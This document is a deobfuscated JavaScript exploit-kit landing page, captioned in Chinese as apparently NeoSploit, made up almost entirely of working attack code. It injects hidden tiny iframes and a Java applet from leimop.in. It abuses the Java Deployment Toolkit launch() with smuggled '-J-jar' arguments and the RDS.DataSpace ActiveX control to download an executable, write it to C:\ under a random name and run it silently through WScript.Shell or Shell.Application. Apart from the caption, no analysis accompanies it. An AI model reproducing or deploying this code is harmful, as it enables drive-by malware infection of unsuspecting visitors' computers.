这个好像叫NeoSploit吧
function u4860_c7_w0DR()
{
try
{
var hc80_g = "http://leimop.in/nte/CORV.html/xH44630e92V0100f060006Rff8f600a102Tbba713ac326";
var b_3_2as7d5K_rRe = document.createElement("iframe");
b_3_2as7d5K_rRe.setAttribute("src", hc80_g);
b_3_2as7d5K_rRe.setAttribute("width", 2);
b_3_2as7d5K_rRe.setAttribute("height", 2);
document.body.appendChild(b_3_2as7d5K_rRe);
}
catch (e)
{
}
return 0;
}
function A_G__5_5()
{
try
{
var BxR4_67jS_u = document.createElement("applet");
BxR4_67jS_u.setAttribute("width", "2");
BxR4_67jS_u.setAttribute("height", "2");
BxR4_67jS_u.setAttribute("archive", "http://leimop.in/nte/CORV.html/xH44630e92V0100f060006Rff8f600a102Tbba713ac303");
BxR4_67jS_u.setAttribute("code", "Main" + "." + "class");
var Q0k_tdk = new Array("u","687474703A2F2F6C65696D6F702E696E2F6E74652F434F52562E68746D6C2F79483434363330653932563031303066303630303036526666386636303061313032546262613731336163333033","c", "2","d", "0");
for(var u_4g73Hv = 0;
u_4g73Hv < Q0k_tdk.length;
u_4g73Hv += 2)
{
var Lb__2b_5_RD1X = document.createElement("param");
Lb__2b_5_RD1X.setAttribute("name", Q0k_tdk[u_4g73Hv]);
Lb__2b_5_RD1X.setAttribute("value", Q0k_tdk[u_4g73Hv + 1]);
BxR4_67jS_u.appendChild(Lb__2b_5_RD1X);
}
document.body.appendChild(BxR4_67jS_u);
}
catch (e)
{
}
return 0;
}
function l_4Hbj_d_8()
{
try
{
var G_5_7_2_6ma1X2 = "0";
while(G_5_7_2_6ma1X2.length < 8)
{
G_5_7_2_6ma1X2 = "0" + G_5_7_2_6ma1X2;
}
var sJT0___2r = "http://leimop.in/nte/CORV.html/xH44630e92V0100f060006Rff8f600a102Tbba713ac317";
var e5xpy05J_6EM = document.createElement("iframe");
e5xpy05J_6EM.setAttribute("src", sJT0___2r);
e5xpy05J_6EM.setAttribute("width", 2);
e5xpy05J_6EM.setAttribute("height", 2);
document.body.appendChild(e5xpy05J_6EM);
}
catch (e)
{
}
return 0;
}
function gq___GJq31U__V()
{
try
{
var ifr = document.createElement("iframe");
ifr.setAttribute("src", "http://leimop.in/nte/CORV.html/xH44630e92V0100f060006Rff8f600a102Tbba713ac324");
ifr.setAttribute("width", 2);
ifr.setAttribute("height", 2);
document.body.appendChild(ifr);
}
catch (e)
{
}
return 0;
}
function k_Jo_J58()
{
try
{
var u = "http: -J-jar -J//leimop.in/JnteZCORV.htmlZxH44630e92V0100f060006Rff8f600a102Tbba713ac325 none";
if (window.navigator.appName == "Microsoft Internet Explorer")
{
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
o.launch(u);
}
else
{
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;
deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
try
{
o.launch(u);
}
catch (e)
{
n.launch(u);
}
}
}
catch (e)
{
}
return 0;
}
function w7SGlgW_QaVD()
{
try
{
var mm__BSdI = 0;
var rxS5__6__1_6m = 2;
var ta_cL_V6XL_4Q_4 = "http://leimop.in/nte/CORV.html/yH44630e92V0100f060006Rff8f600a102Tbba713ac302";
var r_0rf_8s_4q = new Array(null, null, null);
var K_XuOy7C_mQ1Jh = 0;
var KKK65___YRYigO = document.createElement("object");
KKK65___YRYigO.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
if (KKK65___YRYigO)
{
r_0rf_8s_4q[0] = mHtDvx3(KKK65___YRYigO, "msxml2.XMLHTTP");
if (!r_0rf_8s_4q[0])
{
r_0rf_8s_4q[0] = mHtDvx3(KKK65___YRYigO, "Microsoft.XMLHTTP");
}
if (!r_0rf_8s_4q[0])
{
r_0rf_8s_4q[0] = mHtDvx3(KKK65___YRYigO, "MSXML2.ServerXMLHTTP");
}
r_0rf_8s_4q[1] = mHtDvx3(KKK65___YRYigO, "\\ADODB.Stream\\");
r_0rf_8s_4q[2] = mHtDvx3(KKK65___YRYigO, "\\WScript.Shell\\");
if (!r_0rf_8s_4q[2])
{
r_0rf_8s_4q[2] = mHtDvx3(KKK65___YRYigO, "\\Shell.Application\\");
if (r_0rf_8s_4q[2]) K_XuOy7C_mQ1Jh = 1;
}
}
if (r_0rf_8s_4q[0] && r_0rf_8s_4q[1] && r_0rf_8s_4q[2])
{
for(var xk57d_No___y0QB=0;
xk57d_No___y0QB
xk57d_No___y0QB++)
{
var UmKr8ao4h5 = cQ2_O3j8O(ta_cL_V6XL_4Q_4 + xk57d_No___y0QB.toString(), r_0rf_8s_4q[0], r_0rf_8s_4q[1], r_0rf_8s_4q[2], K_XuOy7C_mQ1Jh);
if (!mm__BSdI)
{
mm__BSdI = UmKr8ao4h5;
}
}
}
}
catch (e)
{
}
return 0;
}
function p2Vu3C5m_fyB_02(Rw7i_nH_qS1_rCu)
{
var n_C3pW4V = "abcdefghiklmnopqrstuvwxyz0123456789";
var LQ1oFj__r = '';
for (var dUQ0O__S=0;
dUQ0O__S
dUQ0O__S++)
{
var Ai8vKxFa2_l = Math.floor(Math.random() * n_C3pW4V.length);
LQ1oFj__r += n_C3pW4V.substring(Ai8vKxFa2_l, Ai8vKxFa2_l+1);
}
return LQ1oFj__r;
}
function mHtDvx3(D_8_Ng3, ng_I_nN41)
{
var f_1lOc_2AN_G6y = null;
var w21y_l1Dw7R_nWE = 'f_1lOc_2AN_G6y=D_8_Ng3.';
var BOy_8m = new Array('CreateObject(ng_I_nN41)','CreateObject(ng_I_nN41, "")','CreateObject(ng_I_nN41, "", "")','GetObject("", ng_I_nN41)','GetObject(ng_I_nN41, "")','GetObject(ng_I_nN41)');
var iK8__1_f_G=0;
while(!f_1lOc_2AN_G6y && iK8__1_f_G < BOy_8m.length)
{
try
{
eval(w21y_l1Dw7R_nWE+BOy_8m[iK8__1_f_G]);
}
catch(e)
{
}
iK8__1_f_G++;
}
return f_1lOc_2AN_G6y;
}
function p_Ev0uEC6f___Vr(dj1_k_HUl3, w_4_45RR)
{
try
{
dj1_k_HUl3.open("GET", w_4_45RR, false);
dj1_k_HUl3.send(null);
}
catch(e)
{
return 0;
}
return dj1_k_HUl3.responseBody;
}
function rH_6K3_K7Y0x5(cvC0__YM468, p1_mGQUxo)
{
var Jy_g__3o38 = 0;
var NjQ_TjA = cvC0__YM468.indexOf("4d5a");
if (NjQ_TjA < 8)
{
return 0;
}
NjQ_TjA -= 8;
while(NjQ_TjA < cvC0__YM468.length)
{
var w_2FF8__r1hq;
var r_N6f__aTr_0B = 0;
for(w_2FF8__r1hq = 0;
w_2FF8__r1hq < 8;
w_2FF8__r1hq += 2)
{
var m___M_pW_l4 = cvC0__YM468.substr(NjQ_TjA + w_2FF8__r1hq, 2);
m___M_pW_l4 = parseInt(m___M_pW_l4, 16);
var p_72um__2_u4 = 1;
if (w_2FF8__r1hq == 2)
{
p_72um__2_u4 = 0x100;
}
else if (w_2FF8__r1hq == 4)
{
p_72um__2_u4 = 0x10000;
}
else if (w_2FF8__r1hq == 6)
{
p_72um__2_u4 = 0x1000000;
}
r_N6f__aTr_0B += m___M_pW_l4 * p_72um__2_u4;
}
if (r_N6f__aTr_0B == 0)
{
break;
}
NjQ_TjA += 8;
if (Jy_g__3o38 == p1_mGQUxo)
{
return new Array(r_N6f__aTr_0B, NjQ_TjA);
}
NjQ_TjA += r_N6f__aTr_0B * 2;
Jy_g__3o38++;
}
return new Array(-1, -1);
}
function NjuLa86De(K_Gl4h07, VqUa35m_a0_Gb, r_tkjis35Hp)
{
try
{
K_Gl4h07.Type = 1;
K_Gl4h07.Mode = 3;
K_Gl4h07.Open();
K_Gl4h07.Position = 0;
K_Gl4h07.Type = 2;
K_Gl4h07.CharSet = 'iso-8859-1';
K_Gl4h07.WriteText("MZ");
K_Gl4h07.Position = 0;
K_Gl4h07.Type = 1;
K_Gl4h07.Position = 2;
K_Gl4h07.Write(r_tkjis35Hp);
K_Gl4h07.SaveToFile(VqUa35m_a0_Gb, 2);
K_Gl4h07.Close();
}
catch(e)
{
return 0;
}
return 1;
}
function cQ2_O3j8O(m_56h_ClruJ5, dj1_k_HUl3, K_Gl4h07, C_Mn_Ba, l_IFMM_iv78lF)
{
var J1_rF01j_RtQ = 0;
var IT008A_lA3_k = 0;
var D6___I60x = p_Ev0uEC6f___Vr(dj1_k_HUl3, m_56h_ClruJ5);
var sXJk8no = 0;
if (D6___I60x != 0)
{
J1_rF01j_RtQ = 1;
}
var e3XjETuNg7Xb_2B = ".exe";
var B_di4yo = "";
if (J1_rF01j_RtQ)
{
var d_K_50_Nm_aPH = "c:\\" + p2Vu3C5m_fyB_02(6) + e3XjETuNg7Xb_2B;
if (NjuLa86De(K_Gl4h07, d_K_50_Nm_aPH, D6___I60x) == 1)
{
d_K_50_Nm_aPH = B_di4yo + d_K_50_Nm_aPH;
if (l_IFMM_iv78lF == 0)
{
try
{
C_Mn_Ba.Run(d_K_50_Nm_aPH, 0);
IT008A_lA3_k = 1;
}
catch(e)
{
}
}
else
{
try
{
C_Mn_Ba.ShellExecute(d_K_50_Nm_aPH, "", "", "open", 0);
IT008A_lA3_k = 1;
}
catch(e)
{
}
}
}
}
return IT008A_lA3_k;
}
if (u4860_c7_w0DR()||A_G__5_5()||l_4Hbj_d_8()||gq___GJq31U__V()||k_Jo_J58()||w7SGlgW_QaVD())
{
}
